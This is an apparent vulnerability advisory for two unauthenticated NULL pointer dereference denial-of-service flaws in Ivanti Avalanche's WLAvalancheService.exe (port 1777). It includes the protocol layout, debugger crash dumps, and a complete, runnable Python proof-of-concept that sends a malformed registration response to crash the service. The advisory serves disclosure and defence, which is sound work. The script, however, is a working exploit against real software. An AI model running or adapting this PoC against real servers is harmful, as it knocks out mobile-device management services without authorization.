Multiple NULL pointer dereference denial-of-service vulnerabilities exist in Ivanti Avalanche WLAvalancheService.exe v6.4.4.0 and prior.
MuProperty type 101 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:
// be = big-endian
strut msg
{
   preamble pre;
   hp hdrpay;
};
struct preamble
{
   be32 MsgSize;     // size of hp + 16
   be32 HdrSize;     // size of hp.hdr
   be32 PayloadSize; // size of hp.payload
   be32 unk:24;
   be32 em:8;        // encryption method
};
// header + payload
struct hp
{
   MuProperty hdr[];      // hdr as array of MuProperty structure(s)
                          // 'h.cmd' as MuProperty.name
                          //  - REQ_REGISTER (18)
                          //  - RSP_REGISTER (19)
                          //  - REQ_AUTH_DEVICE_KEY (28)
                          //  - RSP_AUTH_DEVICE_KEY (29)
                          //  - REQ_AUTH_AGENT_KEY (30)
                          //  - RSP_AUTH_AGENT_KEY (31)
                          //  - REQ_FILE_UPLOAD (10)
                          //  - RSP_FILE_UPLOAD (11)
                          //  - REQ_FILE_UPLOAD_CONT (12)
                          //  - RSP_FILE_UPLOAD_CONT (13)
                          //  - ...
   MuProperty payload[];  // payload as array of MuProperty structure(s)
   byte pad[];            // zero-padded to 16-byte boundary
};
struct MuProperty
{
   be32 type;  // property type, valid: 1-9, 100-102 
   be32 NameSize;
   be32 ValueSize;
   byte name[NameSize];    // property name
   byte value[ValueSize];  // property value
                           // format depends on @type
                           // 3 - hex string
                           // 9 - list of decimal strings separated by ;
                           // 100-102 - list of string tokens separated by ;
                           
};
When processing a MuProperty type 101, which is expected to contain of a list of string tokens separated by the ';' character, the "ParseToken" function is called inside a loop to parse the current token. The function strips any leading spaces in the token and return the token size (after the removal of any leading spaces) and a pointer to the next token.
If the property contains only space characters, the first call to the function returns 0 for the token size and NULL for the next token (pNextToken). Because pNextToken is NULL so it less than pEndOfProperty, the ParseToken function is called again but with a NULL pointer passed to it. This causes a NULL pointer dereference, resulting in a read access violation:
(1714.fc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026fbae0 ecx=00000000 edx=00000000 esi=0252e73b edi=0509fa88
eip=00429842 esp=0509fa14 ebp=0509fa1c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
WLAvalancheService+0x29842:
00429842 8a08            mov     cl,byte ptr [eax]          ds:002b:00000000=??
0:042> kv
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0509fa1c 0042b592     0509fb18 0509fb08 0252e73b WLAvalancheService+0x29842
01 0509fb1c 0042bb0e     028872f4 0509fb68 00000000 WLAvalancheService+0x2b592
02 0509fe88 0045fda2     028872b8 02887348 0288734c WLAvalancheService+0x2bb0e
03 0509fea8 004c1bbb     003d4226 ffffffff 02884380 WLAvalancheService+0x5fda2
04 0509fed8 004bd07a     017d5c68 00000002 02884380 WLAvalancheService+0xc1bbb
05 0509fef0 00492753     00000002 017d5c68 027b00b0 WLAvalancheService+0xbd07a
06 0509ff08 004d003f     017d5c68 027b00b4 017d5c68 WLAvalancheService+0x92753
07 0509ff1c 005346d6     017d5c68 00529c20 00529c20 WLAvalancheService+0xd003f
08 0509ff70 750805c9     026fbae0 750805b0 0509ffdc WLAvalancheService+0x1346d6
09 0509ff80 77a57c5d     026fbae0 eb2efe0f 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 0509ffdc 77a57c2d     ffffffff 77a76ab7 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 0509ffec 00000000     00529c20 026fbae0 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
PoC:
python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 101
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 101 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer
MuProperty type 102 NULL pointer dereference DoS (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
A NULL pointer dereference is also triggered when processing a MuProperty of type 102:
(60c.2324): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00000000 ebx=026183a8 ecx=00000000 edx=00000000 esi=0243e1db edi=04fbfa88
eip=00429842 esp=04fbfa14 ebp=04fbfa1c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
WLAvalancheService+0x29842:
00429842 8a08            mov     cl,byte ptr [eax]          ds:002b:00000000=??
0:042> kv
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04fbfa1c 0042b6cd     04fbfb18 04fbfb08 0243e1db WLAvalancheService+0x29842
01 04fbfb1c 0042bb0e     027b1164 04fbfb68 00000000 WLAvalancheService+0x2b6cd
02 04fbfe88 0045fda2     027b1128 027b11b8 027b11bc WLAvalancheService+0x2bb0e
03 04fbfea8 004c1bbb     003d4238 ffffffff 0279cf40 WLAvalancheService+0x5fda2
04 04fbfed8 004bd07a     016e5dc0 00000002 0279cf40 WLAvalancheService+0xc1bbb
05 04fbfef0 00492753     00000002 016e5dc0 026d0008 WLAvalancheService+0xbd07a
06 04fbff08 004d003f     016e5dc0 026d000c 016e5dc0 WLAvalancheService+0x92753
07 04fbff1c 005346d6     016e5dc0 00529c20 00529c20 WLAvalancheService+0xd003f
08 04fbff70 750805c9     026183a8 750805b0 04fbffdc WLAvalancheService+0x1346d6
09 04fbff80 77a57c5d     026183a8 77d7f0ce 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0a 04fbffdc 77a57c2d     ffffffff 77a76ab8 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0b 04fbffec 00000000     00529c20 026183a8 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
PoC:
python3 avalanche_WLAvalancheService_null_ptr_deref.py -t <target-host> -p 1777 -m 102
Received REQ_REGISTER (18)
Sending a malformed MuProperty type 102 in RSP_REGISTER (19)
[Errno 104] Connection reset by peer
 
Python PoC:
import socket, argparse, re, hexdump2, sys
from struct import *
def dump(title, data):
  print('[-- %s --]' % (title))
  if data: hexdump2.hexdump(data)
  
def mk_msg(hdr, payload, f4=0):
  msg = hdr + payload
  msg += b'\x00' * ((16 - len(msg) % 16) % 16)
  preamble = pack('>LLLL', len(msg) + 16, len(hdr), len(payload), f4)
  msg = preamble + msg 
  return msg
  
def MuProperty(t, k, v):
  prop = pack('>LLL', t, len(k), len(v)) + k.encode() + v
  return prop
  
def recvall(sock, n):
  data = bytearray(b'')
  while len(data) < n:
      packet = sock.recv(n - len(data))
      if not packet:
          return None
      data += packet
  return data
  
def recv_msg(sock):
  data = bytearray(b'')
  # Read preamble
  data = recvall(sock, 0x10)
  if data == None or len(data) != 0x10:
    raise ValueError(f'Failed to read preamble')
  # Get msg size 
  size = unpack_from('>I', data, 0)[0]
  if size < 0x10 or size > 0x200000:
    raise ValueError(f'Invalid msg size {size:X}')
  # Get data 
  data += recvall(sock, size - 0x10)
  if len(data) != size:
    raise ValueError(f'Failed to read msg of {size:X} bytes')
  return bytes(data)
  
def get_cmd(res):
  m = re.search(b'h.cmd(\d+)', res) 
  if m: 
    cmd = int(m.group(1))
  else: 
    raise Exception('h.cmd not in received message.')
  return cmd 
  
#
# MAIN
#
descr = 'Ivanti Avalanche WLAvalancheService.exe NULL Pointer Dereference'
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='target host')
parser.add_argument('-m', '--mtype', choices=[101,102], type=int, default=101, help='MuProperty type used for the PoC, default: %(default)s')
parser.add_argument('-p', '--port', type=int, default=1777, help='WLAvalancheService.exe port, default: %(default)s')
parser.add_argument('-d', '--debug', action='store_true', help='dump messages')
args = parser.parse_args()
target = args.target
port = args.port
mtype= args.mtype
debug = args.debug
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.settimeout(5)
res = recv_msg(s)
if debug: dump('res on connect', res)
# Check if REQ_REGISTER (18)
cmd = get_cmd(res)
if cmd != 18:
  sys.exit(f'Unexpected h.cmd {cmd} received, expected: 18.')
  
print('Received REQ_REGISTER (18)')
print(f'Sending a malformed MuProperty type {mtype} in RSP_REGISTER (19)')
mid = 0 
hdr =  MuProperty(2, 'h.mid', str(mid).encode())
hdr += MuProperty(2, 'h.cmd', b'19') 
hdr += MuProperty(2, 'h.abort', b'0')
hdr += MuProperty(mtype, 'h.foo', b' ')
payload = MuProperty(2, 'p.rev', b'308')
req = mk_msg(hdr, payload)
if debug: dump('req', req)
try:
  s.sendall(req)
  res = recv_msg(s) 
  if debug: dump('res', res)
except Exception as e:
  print(e)